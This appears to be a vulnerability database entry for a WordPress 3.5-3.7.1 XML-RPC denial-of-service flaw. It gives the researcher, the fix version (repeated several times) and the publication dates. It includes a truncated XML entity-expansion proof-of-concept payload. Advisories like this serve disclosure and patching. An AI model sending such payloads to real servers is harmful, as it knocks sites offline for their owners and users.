WordPress Vulnerabilities

WordPress 3.5-3.7.1 - XML-RPC Denial of Service

Proof of Concept

<?xml version="1.0"?>
<!DOCTYPE DoS [
<!ENTITY a "xxxxxxxxxxxxxxxxx...">
]>
<DoS>&x;&x;&x;&x;&x;&x;&x;&x;&x;…</DoS>

Affects WordPress

Fixed in WordPress 3.9.2
Fixed in WordPress 3.9.2
Fixed in WordPress 3.9.2
Fixed in WordPress 3.9.2
Fixed in WordPress 3.9.2
Fixed in WordPress 3.9.2
Fixed in WordPress 3.9.2
Fixed in WordPress 3.9.2

References

Miscellaneous

Original Researcher
Nir Goldshlager
Verified
Yes

Timeline

Publicly Published
2014-08-27 (about 9 years ago)
Added
2014-08-27 (about 9 years ago)
Last Updated
2021-01-19 (about 3 years ago)

Other